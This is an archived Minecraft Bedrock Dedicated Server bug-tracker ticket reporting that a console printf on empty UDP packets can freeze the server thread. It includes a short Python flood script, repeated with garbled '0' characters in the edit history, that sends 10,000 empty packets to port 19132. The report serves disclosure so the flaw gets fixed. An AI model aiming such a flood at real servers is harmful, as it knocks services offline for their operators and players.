Mojira Archive
BDS-19421

Remove printf in RakNet::RNS2_Berkley::RecvFromLoopInt

Please remove the printf in RakNet::RNS2_Berkley::RecvFromLoopInt, when someone sends empty packet to bds, bds will print "\n\n  ATTENTION! Received EMPTY UDP packet - potential UDP ports scanning.\n\n" in console. If someone sends empty packet in a high frequency, the MC_SERVER thread will be freezed due to printf block the main thread.

Here's the attack tool written in python:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
i = 0
while i < 10000:
    s.sendto(
        b"",
        ("127.0.0.1", 19132),
    )
    i = i + 1

Linked Issues

Attachments1

Comments4

Plausible due to code stuff

MEQS_KEEP_PRIVATE

Thank you for your report!
We're tracking this issue in BDS-19346 (private), so this ticket is being resolved and linked as a duplicate.

Since the parent ticket is marked as private, you won't be able to access it.

Quick Links:
📓 Bug Tracker Guidelines – 💬 Community Support – 📧 Mojang Support (Technical Issues) – 📧 Microsoft Support (Account Issues)
📓 Project Summary – ✍️ Feedback and Suggestions – 📖 BDS Wiki – 📖 FAQs
– I am a bot. This action was performed automatically! The ticket was resolved by one of our moderators, and I left this message to give more information to you.

History7

[Bot] Arisa

Changed description:

Please remove the printf in RakNet::RNS2_Berkley::RecvFromLoopInt, when someone sends empty packet to bds, bds will print "\n\n  ATTENTION! Received EMPTY UDP packet - potential UDP ports scanning.\n\n" in console. If someone sends empty packet in a high frequency, the MC_SERVER thread will be freezed due to printf block the main thread.

0

Here's the attack tool written in python:
0import socket

0

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
0i = 0
0while i < 10000:
0    s.sendto(
0        b"",
0        ("127.0.0.1", 19132),
0    )
0    i = i + 1
0

Please remove the printf in RakNet::RNS2_Berkley::RecvFromLoopInt, when someone sends empty packet to bds, bds will print "\n\n  ATTENTION! Received EMPTY UDP packet - potential UDP ports scanning.\n\n" in console. If someone sends empty packet in a high frequency, the MC_SERVER thread will be freezed due to printf block the main thread.

0

Here's the attack tool written in python:
0import socket

0

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
0i = 0
0while i < 10000:
0    s.sendto(
0        b"",
0        ("127.0.0.1", 19132),
0    )
0    i = i + 1
0

[Mod] Greymagic27

Confirmation Status: UnconfirmedPlausible

Tony

Changed description:

Please remove the printf in RakNet::RNS2_Berkley::RecvFromLoopInt, when someone sends empty packet to bds, bds will print "\n\n  ATTENTION! Received EMPTY UDP packet - potential UDP ports scanning.\n\n" in console. If someone sends empty packet in a high frequency, the MC_SERVER thread will be freezed due to printf block the main thread.

0

Here's the attack tool written in python:
0import socket

0

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
0i = 0
0while i < 10000:
0    s.sendto(
0        b"",
0        ("127.0.0.1", 19132),
0    )
0    i = i + 1
0

Please remove the printf in RakNet::RNS2_Berkley::RecvFromLoopInt, when someone sends empty packet to bds, bds will print "\n\n  ATTENTION! Received EMPTY UDP packet - potential UDP ports scanning.\n\n" in console. If someone sends empty packet in a high frequency, the MC_SERVER thread will be freezed due to printf block the main thread.

0

Here's the attack tool written in python:
0

0
0
0import sockets = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)0i = 00while i < 10000:0    s.sendto(0        b"",0        (00"127.0.0.1", 19132),0    )0    i = i + 1000000
0
0


0

Tony

Changed description:

Please remove the printf in RakNet::RNS2_Berkley::RecvFromLoopInt, when someone sends empty packet to bds, bds will print "\n\n  ATTENTION! Received EMPTY UDP packet - potential UDP ports scanning.\n\n" in console. If someone sends empty packet in a high frequency, the MC_SERVER thread will be freezed due to printf block the main thread.

0

Here's the attack tool written in python:
0

0
0
0import sockets = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)0i = 00while i < 10000:0    s.sendto(0        b"",0        ("127.0.0.1", 19132),0    )0    i = i + 1
0
0


0

Please remove the printf in RakNet::RNS2_Berkley::RecvFromLoopInt, when someone sends empty packet to bds, bds will print "\n\n  ATTENTION! Received EMPTY UDP packet - potential UDP ports scanning.\n\n" in console. If someone sends empty packet in a high frequency, the MC_SERVER thread will be freezed due to printf block the main thread.

0

Here's the attack tool written in python:0

0
0
0import socket0s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)0i = 00while i < 10000:0    s.sendto(0        b"",0        ("127.0.0.1", 19132),0    )0    i = i + 1
0
0

[MCQA] v-weszaj
[MCQA] v-weszaj

Resolution: UnresolvedDuplicate

Duplicate
Tony
0
2
Plausible
1.21.1